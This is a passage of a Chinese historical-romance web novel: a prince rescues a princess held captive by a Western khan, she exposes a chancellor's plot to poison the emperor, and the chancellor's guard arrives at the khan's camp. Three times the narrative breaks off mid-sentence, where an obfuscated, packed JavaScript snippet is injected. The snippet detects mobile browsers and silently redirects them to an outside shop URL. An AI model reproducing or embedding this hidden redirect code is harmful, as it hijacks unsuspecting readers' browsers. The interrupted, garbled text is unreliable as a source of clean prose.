可汗脸色阴鸷,他将火把举到她的脸上,粗糙的大手像铁钳一般,死死扼住她的下巴,“平乐,我再问你一遍,你刚才,去哪了?” 炙热的火光闪烁跳动,一如平乐惊恐不定的眼神。 平乐拼命摇头,“没,没有啊。” 突然,帐外有人大喊,“不好了,肃安王率军从北边进来偷袭咱们了。” 又有一人大喊,“将军,肃安王率军从南边打进来了。” 可汗骂了句“混账”,不再理会平乐,转身出了营帐。 巴吐尔正在外头发火,“怎么会有两个肃安王,说清楚,肃安王到底在北边还是南边?!” 士兵吓得直打哆嗦,“领头的都是肃安王的装扮,身量也都差不多,天黑,离得又远,实在是看不清楚。” 可汗掀了帐门出来,看见巴吐尔,沉声问道,“我不是吩咐过你,给我仔细盯着肃安王的动向吗,你就是这么盯的?” 巴吐尔赶紧跪下,“探子一更的时候回来报信,肃安王已经在帐内歇下了,我料着今夜无事,这才疏忽大意了。巴吐尔有罪,还请大汗治罪!” 可汗眼神犀利,抬眼扫视一圈,怒问,“穆则帕尔何在?” 穆则帕尔刚被士兵叫醒,听见可汗问他,慌里慌张地赶过来跪下,可汗看见他这副样子,气更是不打一处来,上去就狠狠踹了他一脚。 穆则帕尔被可汗踹倒,忙又挣扎着重新跪好,“大哥,我错了。” 可汗闻言,更加生气,抬腿又要踹他。 这时,一个士兵气喘吁吁地跑过来报信,“大汗,咱们北边的粮仓被肃安王他们端了。” 可汗握拳不语,穆则帕尔跪着上前两步抱住他的脚,愤愤道,“大哥,你给我一个机会,让我生擒了那个肃安王,剜开他的头颅,提回来给你下酒。” 可汗看了一眼穆则帕尔,又看了一眼静静跪着的巴吐尔,声音不怒自威,“你们两个人罪该处死,但我眼下先放过你们,我要你们戴罪立功。巴吐尔,你去南边营帐守着,记住,一定要活捉了领头之人。穆则帕尔,你随我去北边。” 两人赶紧磕头谢恩,巴吐尔翻身上马,直奔北边营帐。 可汗踹开穆则帕尔,策马向相反的方向驰骋而去,穆则帕尔则从地上一骨碌爬起,纵身一跳,打马追在可汗身后。 外面的声音渐渐散去,四下里都静悄悄的,只余平乐的呼吸声在寂静的夜里起伏不定。 她半是欣喜,半是忧心,可汗、巴吐尔、穆则帕尔都是不容易对付的角色,这又是在西域,晗安哥哥所带人马有限,他虽然英勇,也不能以一敌众。 平乐跪在床上,双手合十,在心底一遍遍祈求,“晗安哥哥,你一定不要有事啊。” 门外,咚咚两声,像是什么东西倒在了地上,平乐僵直着身子,目不转睛地盯着帐门。 帐门被人掀开,月华如水,顷刻涌入帐内。 肃安王身着银色铠甲,赤红披风,背光而立,宛如神祗。 他大步走了过来,目光温和地冲平乐一笑,随即解下自己的披风,贴心地裹在她的身上,他将平乐打横抱起,面上虽然笑着,眼底却是掩不住的心疼。 平乐攀在他的肩上,在片刻的惊诧后,立即紧张地查看他有没有受伤,发现没有之后,她这才长长舒了一口气。 肃安王抱着她翻身上马,手勒缰绳,策马疾驰而去。 路上,几个士兵看见他们,刚要叫喊,肃安王扬着马鞭就甩了过去,噼里啪啦几声脆响,马鞭正中他们的咽喉,几个士兵应声倒地,马儿载着他们冲出大营,奔入茫茫夜色。 平乐回过头,望着那片火光越来越远,只觉得一切如梦一场。 风从耳畔呼啸而过,肃安王环着她,温声低语,“平乐,哥哥带你回家。” 平乐身子一僵,继而泪水无声滚落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502751|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回家,回家—— 她有好多想说的话,想诉的苦,她曾幻想过得救的时刻,幻想过自己扑在晗安哥哥身上放声大哭,可是此刻,千言万语,涌到嘴边,平乐张了张嘴,却一句话也说不出来。 平乐只觉得好累,好累,累得想睡一觉,却又不敢合眼,生怕再睁开眼,才发现不过是一场梦而已。这么多天,这么多年,她都不曾睡过一个好觉。现下,她靠在晗安哥哥旷阔的胸膛里,心中只觉得无比安稳,挂着泪珠的眼睫抖了抖,终于还是落了下去。 平乐做了一个很长很长的梦。 她梦到了儿时,她的母妃和晗安哥哥的母妃一处坐着谈笑,而她就跟在晗安哥哥的身后,一起去河里捉鱼,去树上摘果子,去厨房偷点心…… 一桩桩,一件件,往事如烟,倏忽飘散…… 平乐惊醒,发现头顶仍是营帐,她猛地坐了起来,警惕的环顾四周。 悠悠一直守在床边,见她醒了,欢喜叫道,“公主你终于醒了,饿不饿,我去拿些点心。” 平乐急忙拉住她,仔细端详她的脸庞。悠悠双眼红肿,像是哭过很多遍,不过精神还好,正冲她笑着,平乐心下稍稍安稳了些,松开手,“我不饿,哥哥呢?我们现在在哪里?” 悠悠拿了枕头给她靠着,“王爷正和将士们商议事情,我们快到玉门关附近了,等出了玉门关,就离大魏不远了。” 平乐点头,掀开被子,想要下地,身子却跌坐下去,幸亏悠悠一把抱住,扶她坐了回来。悠悠语气半是伤心半是嗔怪,“公主昏睡了六天六夜,一直都没吃什么东西,现下哪有力气下地呀,合该好好养着才是。” 平乐一愣,六天六夜,自己竟然睡了这么久吗? 一个小丫鬟端着药走了进来,看见平乐醒了,也是大喜,“刚才太医还说呢,公主今日一定会醒,可不这就醒了。” 平乐朝她笑了笑,忽瞥见丫鬟的腕上缠了一块白布,她心里一惊,低头看向扶着自己的悠悠的手腕,上面果然也是一块白布。 她一把抓住悠悠的手,颤声问道,“哥哥出什么事了?” 悠悠一愣,继而反应过来,忙安抚道,“公主放心,王爷一点事儿都没有。” 平乐不肯松手,仍是死死盯着她,悠悠叹了口气,只得将事情一五一十地说给她听。 原来当日,肃安王命陆奔、齐牧二人扮成他的模样,分别率军从北边、南边进攻,引开敌人,自己则趁敌人不备,单枪匹马来救平乐。 大部队由孟甘指挥,留在千米外接应,因此陆奔、齐牧带的人马并不多,但因时值深夜,距离又远,他们命令士兵举着火把四处移动,就营造出了声势浩大的局面。 可汗在发现带队之人并非肃安王之后,就无心再战,转头奔向南边营帐,因此陆奔人马无一伤亡,而巴吐尔牢记可汗的吩咐,死死围住了齐牧他们,齐牧不愿全军覆灭,遂以一己之力拖住巴吐尔,命令副将楚天琦立即带领军队撤退。 最终,齐牧所带人马只死了两个小兵,而齐牧自己不愿被擒,在独自斩杀敌军五十余人之后,筋疲力竭,拔剑自刎而亡,可汗顾忌着肃安王的威名,又摸不准他到底有多少人马,因此并未追击。 “齐将军死得壮烈,王爷听完久久不语,下令全军腕缠白布,为其服丧。” 平乐低垂着头,神色黯然,她终究还是连累了旁人。 小丫鬟端着药碗,跪在她跟前,“公主您该喝药了。” 悠悠接过药,一勺一勺地喂给她喝,喝完了药,平乐说困了,要休息一会儿,撵了她们出去,待她们都走了,平乐蜷在被子里,呜呜哭了起来。 积压了太久的情绪化作眼泪,夺眶而出。 平乐不知道自己为什么而哭,是为了那位素昧平生,最后却因自己而亡的将军,还是为了出身皇家,半生流落西域,受尽屈辱苦楚的自己…… 44. 旧案有疑云 肃安王不知道什么时候过来的,他卸了铠甲,身穿一袭素色长袍,坐在床边,低头看着平乐。 平乐见他眼下乌青,看起来颇为疲倦,她伏在他的肩上痛哭,不停说着,“对不起。” 肃安王拍了拍平乐的背,安慰道,“不怨你。” 平乐仍是道歉,她哭了好一阵,方才渐渐止住,抬眼看他,“救我,是父皇的意思吗?” “父皇还不知道,过两天我会写信给他,估计很快就能送到他手上。” 平乐默了默,又问,“母妃一切都好吗?” 肃安王笑笑,“当日便说了,淑妃娘娘一切安好,只是时常惦念你。” 平乐摇头,“当日的话,我怎知真假,非要亲自再问一遍才能安心。” 肃安王笑着点头,“还有什么想问的吗?” “悠悠,她——”平乐看见肃安王神色一变,默默叹了口气,“当日,我试图寻过她,可得到的却是她的死讯,加上当时自顾不暇,也只能丢开手。后来在席间看见她跟在你身边,我还以为是自己眼花了,也不知道她这些年过得怎么样?” 肃安王沉默许久,缓缓道,“除了关于你的事儿,悠悠什么都不肯说,不过我让陆奔去查了,得到的消息是,当年悠悠和其他从大魏过来的侍女一同做了军妓,好几个都不堪折磨死了,悠悠当时不知道用了什么法子,留了别人的尸首,给一个西域将军做了舞女,后来,那个将军战死了,悠悠又进了可汗的王帐当舞女,直到那日见到我。当舞女的那几年,悠悠一直在想办法救你,她用自己攒下的钱财买通了西域客商去大魏传话。如果不是那名客商,父皇也不会起疑心,派我过来一探究竟。” “军妓?”平乐心里更加难受,她自己都过得如此悲惨,却还费尽心机想要救自己。 平乐不禁沉默了下来,肃安王也抿着唇不说话,只是同她静静坐着。 悠悠捧着点心从外头进来,脸上还挂着几分笑意,看见平乐眼眶红红的,又看见肃安王神色也不似往常平和,赶着快走了两步,“公主是哪里不舒服吗?要不要请太医过来看看?” 平乐看着她手里的托盘,对她勉强挤出一丝笑来,“只是有些饿了,不打紧的。” 悠悠心里一松,笑着将托盘捧到她跟前。 “公主先拿这些点心垫一垫肚子吧,一会儿再好好吃些正经东西,王爷可是命人做了好多好吃的呢,说要给公主补补身子。” 平乐吃着糕点,味同嚼蜡。肃安王默坐着陪她吃了两块,又递了一块给悠悠,“你也吃。”悠悠就着他的手吃了,脸上洋溢着幸福的笑容。 平乐吃了几块点心,渐渐有了些力气,她看向肃安王,正色道,“哥哥,我有话同你说。” 肃安王猜到她要说什么,微一颔首,“不急,等你养好了身子再说。” 平乐摇头,“不,不说出来,我心里不安。” 肃安王无奈,只得让悠悠多拿了几块软垫过来,好让平乐靠的更舒服些。 平乐在心里想了一遍,娓娓道来,“我嫁过来的头两年,他对我还算不错,我虽然瞧不上他的行事做派,但也想着父皇的嘱托,母妃的劝慰,对他笑脸相迎,偶尔,我还会给他弹两首琵琶曲哄他开心。事情发生在四五年前的一个雨夜,那天晚上打了好几次雷,我打小就怕打雷,一打雷就睡不着觉,可在他跟前,我却不愿意表露出来,只装着睡熟的样子。” “我记得,那晚打了几更鼓,反正已是深夜,帐外有人叫他,说那边来人求见。他翻身下床,叫了两声我的名字,我懒得搭理,躺着不动。他见我没有反应,就命那人进来说话。我背对着他们躺着,虽然看不见那个人的衣着,却能很清楚的听出他的大魏口音。” 那个人说:可汗的药好是好,就是可惜没有解药,我们老爷想找可汗要一份解药回去。 他说:要解药做什么?难道你们老爷杀起人来,还犹犹豫豫的吗? 那个人说:我们老爷不在乎的,不过我们娘娘想要一份,她说若是没有解药,就不肯给皇上下毒。 平乐说到这里,身子不自觉打了个寒颤。 “我原本已经有些困了,听到这里,心中不由一惊,心想,那个人是谁,口中的娘娘又是谁?可是他却‘嘘’了一声,不让那人再说下去。” 他说:毒药我有,解药我却没有,就算有也不会给你们。今天已经很晚了,你远道而来,先去歇着吧,有话明日再说。 “他们后来又说了两句没要紧的话,那个人就出去了,他上床的时候又叫了我两声,我闭着眼不敢应声,直到他睡着了,我才理理思绪,思索着他们刚才的谈话,一整晚都没睡好。翌日,我睁眼时已经日上三竿,我吃了午饭,借着送东西的名义过去找他。那时,他对我并没什么避讳,他的王帐我也能随意出入。我进去的时候,他正和一人说着话,那个人的声音和昨晚我听到的一模一样。我一进去,他们就都不说话了,只拿眼看着我。” 肃安王问道,“那个人多大年纪,什么模样?” 平乐仔细回忆一番,终是摇了摇头,“我那时候很慌,根本不敢留神细看,搁下东西,略说了几句话就出来了,我只记得我刚走出王帐的时候,听见那个人说了一句,‘可汗对她这么客气,不像是诚心和我们老爷合作的样子’。事后,我很想写信告诉父皇,但想了想,我也没听到什么具体的人名,不知该从何写起,只好先按兵不动,仔细留神他的一举一动。” “果然,几个月后的一天晚上,又有人来找他,不过这次,他没让他进来说话,而是和他一起出去了。他们一走,我就立刻披衣跟了出去。我看见好几个人都进了他的王帐,门口还有武士把守。我小心翼翼的绕到王帐后面,扒开一个缝隙,探身往里面看。这次那边来了五个人,为首的那个人和他对席而坐,后面还立着四个身穿黑衣的人。他说,‘许久不见,宰相身子还是那么硬朗’,我这才知道来人竟然是大魏宰相席容炎!” 席容炎说:上次派人来要解药,可汗不给,本相只好亲自来一趟。 他说:不是不给,而是觉得没必要。魏帝若是活着,宰相这辈子只能是宰相,他死了,宰相才有机会取代他的位置,不是吗。 席容炎说:给他下毒可不是件容易事,我的女儿担了很大的风险,万一她也不慎中毒,我又没有解药,到时候又该怎么办呢?想和我合作的人多的是,可汗不要不识抬举。 “他们后来争执起来,他甚至拔了剑,席容炎带来的四个黑衣人也拔了剑,护在席容炎身前。他们僵持了一阵,又坐回去重新谈了起来。我从他们的谈话中得知,皇后娘娘的父亲,大魏前宰相霍霆正是死于他们之手,皇后娘娘的儿子魏晗煜也是,他们还密谋着再用千魂散谋害太子魏晗烨,不过后来失败了。席容炎还说,他打算给父皇下毒,用黄昏雨操控父皇,这样满朝文武都会听命于他,他以后想要登上皇位也会更加方便。” 肃安王听到“黄昏雨”,开口问道,“千魂散,我是听说过的,黄昏雨又是什么?” 平乐解释一番,又将自己被迫服下黄昏雨,后来又服下解药的事儿说了,肃安王皱着眉,微微颔首,示意她继续说。 “后来席容炎就说要走,可汗起身相送,席容炎则让他再考虑考虑解药的事,如果考虑清楚了,再谈合作的事,否则就此作罢。可汗想了想,找了巫医过来,拿了一瓶药丸给他,对他说,‘千魂散’确无解药,不过可以给他这个。可汗说着,抬眼看了一眼他带来的四个黑衣人,席容炎遂挥挥手,示意几人退远些。可汗附耳上去,也不知说了什么,席容炎笑着说了声谢谢,脸色也缓和不少。我现下想着,巫医拿过来的药怕就是能彻底解黄昏雨的解药。四天之后,便是我惯常要写家书的日子,我将所见所闻全写了进去。悠悠拿了信出去,就再没有回来,我带来的其他侍女也从此不知所踪。晚上,他冲到我的帐里,他,他——” 平乐的神色突然变得惊恐起来,整个人抖得好似筛糠一般,泪水滴答滴答地掉了下来。 悠悠背过身子拭泪,肃安王怒火中烧,手背上的青筋暴起,他强压下怒火,上前握住了她的手,“好了,平乐,我们不要再说了,不要再说了。” 平乐抽泣半晌,渐渐平静下来,她拂开他的手,不顾他的阻拦,继续说着,“再后来,许是打定了主意,不会让我再活着回大魏,他对我越发残暴,不过,好处就是,他和席容炎之间的勾当也懒得再瞒我。他们常有书信往来,席容炎会送给他粮食、金子、银子,而他也会给席容炎送去各种各样的毛皮、毒药、情报,如果派人去搜宰相府,一定能搜到证据!” 她的声调越来越高,眼中燃着熊熊烈火,定定看向肃安王,肃安王仍紧紧握着她的手,柔声宽慰道,“平乐,你放心,我一定禀明父皇,给你报仇!” 平乐点点头,忍不住咳嗽起来,她强撑着,断断续续地说,“晗安哥哥,还有一件事,你还记得陈玄赫吗?” 肃安王一愣,他的思绪回到了许多年前,那时的他还只是个半大的孩子,他的父皇命他去军营里呆一段时间,熟悉熟悉军务,当时,魏帝指给他的师傅就是陈玄赫。 他叹了口气,“自然记得,镇西大将军陈玄赫,只要他的大旗一立,那些西域胡人就再也不敢作乱。只可惜,他后来起了谋反的念头,哎。” 平乐语气急促,“不,陈将军没有谋反,他是被人诬陷的!” 悠悠震惊地瞪大了眼睛,“陈玄赫不是因为通敌叛国才畏罪自焚的吗?后来,皇上派去的人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502752|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在陈府中搜到了陈玄赫和西域可汗的秘密通信,可谓证据确凿。” 平乐冷笑道,“若不是在西域可汗身边呆了这么多年,我也一直以为是陈玄赫里通外国。想也是,陈家男女老少烧的连骨头渣子都不剩,怎么还能留下通敌书信?这是席容炎的手笔,是他派人在陈府杀人放火,事后又将伪造的书信藏在里头,做出陈玄赫畏罪自焚的假象。” 悠悠忍不住打了个哆嗦,“陈玄赫可是当年名震天下的镇西大将军,武功一等一的好,西域中人,谁不怕他,谁承想最后却不明不白的死在了席容炎的手里,还担了个通敌叛国的罪名,害得陈家全族上下五百余人无一幸存。” 平乐气得又咳嗽了起来,“是啊,席容炎挟势弄权,残害忠良,简直该死!” 悠悠忙斟了一杯茶,服侍她喝下,肃安王不停拍着她的背,直到她咳声渐止,才松开手,“你一连昏睡了好几天,眼下身子还很弱,就不要再多说了,悠悠,传膳。” 悠悠应了一声,小心扶着平乐躺下,随即出了营帐。不多时,她和先前端药的丫鬟一人捧了一个托盘回来,上面盛着各色碗碟,她们后头还跟着一个侍卫。 侍卫垂首进来,将手中提着的木几搁在床边,便又垂首出去了。 悠悠将木几抬到床上,一面和那个小丫鬟将托盘上的碗碟一样样摆好,一面笑着介绍,“这碗是熏煨肉,用秋油、酒足足煨了好几日,又带汁儿熏了几个钟头,现下吃着最是鲜嫩。这碗是羊羹,里头加了笋丁、香蕈丁、山药丁,都是补气血的好东西。这碗鸡粥里的肉丝呢,是厨子一刀一刀细细刨下来的,一点碎渣子都没有,再用鸡汤熬了,鸡油浇了,既有营养,又好消化。还有这碗杏酪,王爷说公主吃了药,嘴里肯定苦森森的,得吃些甜食顺一顺……” 悠悠说得兴高采烈,一样样地给她仔细介绍。 平乐仔细听着,脸上慢慢浮现出了一丝笑意。 最后,悠悠将一个甜白釉印花小碗捧到她跟前,笑道,“这道玉带糕可是王爷亲自下厨做的,公主一定要好好尝尝。” 平乐惊讶地看向肃安王,“晗安哥哥,你什么时候会做这个了?” 在她的印象里,她的晗安哥哥除了跟她一道去厨房偷东西吃,可从来不会进厨房的门,更别说下厨做饭了。 肃安王一脸宠溺,望着她笑,“记得你小时候最爱这一口,我每次回京,你都缠着我去长街上的酥芳斋买给你吃,怎么吃也吃不够,我就试着做了做,你尝尝看味道如何。” 平乐鼻子一阵阵发酸,她的母亲淑妃是江南人,最爱吃江南那边的糕点,江南的糕点都甜丝丝的,吃起来和蜜糖一样,她也爱吃,尤其是那道玉带糕,里头搁了桃仁、红梅、青梅、桂花、莲子、桔饼……核桃似黄金,青梅似翡翠,莲子、桔饼如同珍珠、玛瑙……玉带糕的四周还有米粉镶成的白边,宛如一条玉带,五颜六色,点缀其间,真是又好吃又好看。 但厨房并不常做这道糕点,淑妃又一向省事,厨房分派什么菜馔她就吃什么,从不额外吩咐,因此平乐总惦记着玉带糕,肃安王一回京,她就央告他去街上买给她吃。 她这么想着,眼泪就要掉下来,她忙低了头,看向那碗玉带糕,不觉一愣。 这是——玉带糕? 碗中的几块糯米糊糊粘在一起,形状各异,有长条状的,有椭圆状的,还有三角状的……黄的、绿的、红的碎点像是喝了酒的醉汉,全都倒在糕点一侧,分不出个数。 平乐嘴角扬起,又撂下,又扬起,又撂下……如是几次,她终于忍不住笑出声来。 肃安王虽然脸上讪讪的,可看见她笑,自己也不由得跟着笑了起来,一面笑,一面同她解释,“我没做过这个,做得不好,你先将就着吃,等回京了,我再给你买酥芳斋的点心吃。” 平乐笑着捡起一块玉带糕放进嘴里,细细嚼了两下,赞道,“晗安哥哥,你做的玉带糕虽然看起来不怎么样,但吃起来还挺好吃的嘛,别有一番风味。” 肃安王面露喜色,“真的吗?” 平乐掰下一小块,“真的,你尝尝。” 肃安王就着平乐的手吃了,也不住点头,“嗯,你别说,还真是挺好吃的。” 悠悠在边上笑,“这几天,王爷除了处理军务,就一直泡在厨房里研究玉带糕的做法,反反复复做了好多遍,怎么能不好吃呢。就只是苦了陆奔,每次都被王爷逼迫着试吃,方才我在路上遇到他,他刚一闻见玉带糕的味道,就忍不住要吐,一溜烟儿跑出去了好远。” “哈哈哈……”平乐笑得岔了气,靠在悠悠肩上,直喊肚子疼。 肃安王笑着点了一下悠悠的脑门,“你呀。” 悠悠笑着冲他眨了眨眼睛,眼里满是柔情。 45. 游子终还乡 王帐。 西域可汗皱着眉,摩梭了几遍手中的腰牌,沉声吩咐,“叫他进来。” 片刻功夫,寒星迈着大步走了进来,依着大魏礼节向可汗行了一礼。 可汗没有作声,只是上下打量着他,墨泼的发,苍青的衣,凛着寒光的剑柄,溅了尘土的尖靴,待瞧见他的那双冰蓝色的眼眸,可汗的目光忽地顿住,半晌才幽幽道,“坐吧。” 寒星坐定,正色道,“主公遣我过来,是为着平乐公主的事,不知她人现在何处。” 可汗只是盯着他不说话,寒星被他盯得面有不豫,直了直身子,又愠声问了一遍。 穆则帕尔站在可汗身侧,见他如此,上前拽拽可汗的衣袖,试探着喊了声,“大哥?” 可汗长长“哦”了一声,像是刚刚回过神来,他举起手中的腰牌细看,语气中满是狐疑,“寒星,宰相府暗卫统领?” 寒星的声音干脆利落,“正是。” “几岁了?” “大概,二十多岁吧。” “你不记得自己的生辰吗?” “不记得。” “你的父母是谁?家住何处?” “无父无母,一直在宰相府当差。” “从出生起,你就一直在宰相府吗?” “十几岁进府,在此之前,做些零工养活自己。” “你是如何进的宰相府?” “主公怜我孤弱,收留了我。” 寒星虽然嘴上还应付着,心中却早已不耐烦起来。 可汗想了一下,继续问道,“听口音,你是大魏人?” 寒星敷衍道,“是。” 可汗张口还要再问,寒星却已站起身来,“可汗,时间紧迫,敢问平乐公主现在在哪?” 穆则帕尔瞧出可汗今日有些不对劲,抢着答道,“那个女人几天前就被肃安王带走了。” 寒星神色一变,怒道,“她知道主公那么多事情,你们怎可轻易放她离开?” 穆则帕尔不满道,“肃安王带了那么多人马杀过来,还差点放火烧了我们的粮仓,我们自顾尚且不暇,哪里还有精力看顾一个女人,一不留神就让他们给救走了,我们又能有什么办法,难道非要和他们拼出个你死我活吗?” 寒星冷笑,“肃安王所带人马不足一万人,这也能叫人多?西域人生性善战,如今却被几千人吓破了胆子,传出去岂不是要令人笑掉大牙。” 穆则帕尔气得面红耳赤,同他争辩起来,“胡说!那天晚上,我亲眼瞧见火光下面人头攒动,足足得有三万余人!一万人?这怎么可能?!” 寒星仍是冷笑着,“肃安王此次出使西域,只带了不足一万人马,其中的五千人还是他王府里的亲兵,剩下的几千是京城的精锐部队。三万余人?那不过是他造出来的声势,用来蒙骗你们罢了。我从大魏而来,我的主公乃是大魏宰相,亲信遍布朝野,肃安王他到底带了多少人马过来,难道我们还会不清楚吗?” 穆则帕尔不可置信地瞪大了眼睛,一时说不出话来。 可汗盯着寒星,缓缓道,“这么说,我们是中计了。” 寒星收敛了几分脸上的讥诮,“不错,可汗中了他们的圈套,假使肃安王带着平乐公主还朝,皇上必然震怒,到那时候,只怕西域也难逃干系,可汗要早做打算才是。” “依你看,应当如何行事?” “请求可汗借我一万人马,我会带着这些人半路截杀肃安王和平乐公主。” 可汗大声笑了起来,“哈哈哈,借兵给你?别以为我不知道你们的算盘,如果事情败露,尽可以推到我们身上,如果事情成了,你们又可以借着我们的力量重创肃安王,鹬蚌相争,渔翁得利,最后受益的只有你们宰相一人!” 寒星面不改色,掷地有声,“可汗此言谬矣!可汗与主公早就已经是一条船上的人了,主公如果出了事,可汗也定会受到牵连。再说,还有平乐公主呢,可汗是怎么对她的,可汗比谁都清楚,平乐公主如果活着回了大魏,第一个想杀的只怕不是我们主公,而是可汗您。” 可汗脸上的笑容逐渐变得狰狞,他死死盯着寒星,像是想要把他看穿了。寒星不闪不避,直直与他对视。许久,可汗终于收回目光,吩咐道,“传巴吐尔、托乎提、伊根过来。” 过了一会儿,几名大将鱼贯而入,齐声行礼道,“大汗!” 可汗用西域话同他们说了几句,他们便转头看了眼寒星,随即又高声谈论起来。 寒星听不懂他们的话,但隐隐能听出他们在争吵,他静坐着,等待他们商讨出个结果。 可汗在谈论的间歇瞥了一眼寒星,转身吩咐了侍女一句话。 不多时,侍女端了一盘子炙猪肉回来,她把肉搁到寒星跟前,用磕磕巴巴的大魏话说,“我们大汗请将军吃掉这盘炙猪肉。” 寒星皱了皱眉,捡起其中一块仔细闻了闻,确认里面没有下毒。 他抬眼看向可汗,发现可汗也正看着他,微微抬手,做出了一个“请”的手势。 寒星一连赶了好几日的路,此刻正有些饿,略一思量,索性挽起袖子,大口大口的吃了起来,一盘炙猪肉很快就见了底儿,寒星顺了口酒,将最后一块也咽进了肚子。 过了一阵子,几名大将的争吵声渐息。 可汗只留下了巴吐尔一人,穆则帕尔、托乎提、伊根纷纷行礼告退。 可汗又同巴吐尔说起话来,说的依旧是寒星听不太懂的西域话。 也不知可汗说了什么,巴吐尔神色惊慌,转头看了寒星好几眼,一下子跪在地上,像是在为自己分辩。 寒星虽然听不懂他们的话,却感觉到他们在说自己,他有些不耐烦,站起身,举步走了过去。 可汗见他过来,也便不再说话,只是眯起眼打量着他。 寒星走到他们跟前站定,“可汗决定了吗,这一万人马,到底肯不肯借给我。” 可汗敛眉看了寒星半晌,对巴吐尔扬了扬手,示意他起来。 巴吐尔这才站起身来,他定定看着寒星,神情中透露着隐隐的错愕与不安。 可汗给寒星介绍道,“这位是巴吐尔将军,他将率领两万人马,同你一起截杀肃安王。” 巴吐尔爽朗一笑,伸出手去,“你好,叫我巴吐尔就行。” 巴吐尔深目高鼻,络腮胡须,大魏话说得甚是标准流利,寒星听着亲切,便微笑着同他握了握手,“巴吐尔,我叫寒星,很高兴认识你。” 可汗指了指他桌上的空盘子,“怎么样,这道炙猪肉还吃得惯吗?” 寒星点头,“味道不错,就是里面的肉没怎么熟。” 可汗巆然而笑,“哈哈哈,看来你还真是大魏人。” 寒星勾勾嘴角,并不作声。 巴吐尔笑着同他解释,“我们都喜欢这样吃,带血吃,才有滋味。” 可汗将腰牌扔给寒星,寒星一把接住,别在腰间,“谢可汗,巴吐尔,我们这就出发吧。” 可汗拦道,“急什么,你一连赶了好几日的路,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502753|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定累坏了,让巴吐尔带你去歇一歇,等明日天亮再去也是来得及的。” 巴吐尔也道,“是啊,事儿虽然急,也不差这一天半天的功夫。走,去我的帐里吃酒。” 寒星觉得有理,他向西域可汗行了一礼,和巴吐尔一道出去了。 二人吃了几碗酒,倦意渐消,打马而行。 西北多沙,风裹着一道道尖刺,剉剉袭来。 寒星走的急,身上只穿了件苍青色素缎对襟长袍,鼓鼓的风涌入袍袖,仿佛扬起的征帆,在一片黄云中迎风高举。 这边的温度比大魏低了许多,寒星不由得打了个喷嚏,他拿起马背上的酒葫芦猛灌一口,霎时,一股热流激彻全身,他再也不觉得冷了。 巴吐尔讲起话来风趣幽默,他给寒星讲西域的古老传说,讲西域的风土人情…… 后来,他聊起了自己…… “我小时候兄弟四个,我排最末,阿塔阿娜没有女儿,看我长得清秀,就想把我当女孩养活,哥哥们都能上阵杀敌了,我还没摸过马。有天晚上,我和三哥吵架,他吵不过我,就翻身上马挑衅我,我心一横,索性跳到马背上,挥着马鞭纵横大漠,一径行到了天山脚下,打那以后,我的屁股就再也离不开马背了。” 寒星看着他一脸的络腮胡须,笑了起来,“长得清秀?那你哥哥们都得长成什么样子?” 巴吐尔也笑,笑了半晌,忽又不笑了,兀自闷了口酒,仰头望着斜阳西落,怃然若失道,“哥哥们死的都很早,我也不知道,如果他们还活着,会长成什么样子。后来我才明白,阿塔阿娜不想让我学骑马,不是因为我长得清秀,而是不想我和哥哥们一样,早早就战死沙场。” 寒星也不笑了,风冽冽地刮着,漫天黄沙之下埋了多少枯骨,他们谁也不知道。 巴吐尔又闷了口酒,问道,“你之前来过西域吗?” 寒星摇头,“第一次来。” 巴吐尔皱起眉,“奇怪,你长得很像我的一位故人。” 寒星看他一眼,“你的故人同你一样,也是西域人?” “不,她是西国人,她是西国最为尊贵的公主,不过西国人是不吃猪肉的,这是他们的信仰,所以你不是西国人。” 寒星听了,心中暗暗冷笑。 信仰? 如果一个人到了连性命都没办法保全的时候,所谓信仰,都是笑话。 不过寒星并未表露分毫,只是问道,“西国在哪儿?” 巴吐尔随手往西一指,“很远的,来去一趟,就算不吃不喝不眠不休,路上跑死几匹马,也要费上七日的功夫。” 寒星眺着西边天角的血色残阳,陷入沉思,“那么,她后来怎么样了?” 巴吐尔摩挲着□□赤马的银鬃毛,忽扯下一绺,马儿受惊,扬蹄嘶鸣。 银光伴着一声轻叹,徐徐落于黄沙,“死了,带着她刚满三岁的儿子,跳河自尽。” 寒星不再作声,细碎的沙砾打在脸侧,火辣辣的疼。 日头沉入山隘,金紫的沙湮没天空,潮水一样的血色席卷而来,扑开大半个荒漠。 北风顿起,凌乱的碎雪打在头顶,寒星捏着腰间的铜制令牌,弹了弹上头的细小白沫,奇道,“西域,也有雪啊。” “有人的地方便会有雪,起风了,回吧。” 巴吐尔勒马回行,寒星望着天边隐隐绰绰的一弯白月,扬了扬鞭子,打马跟在后面。 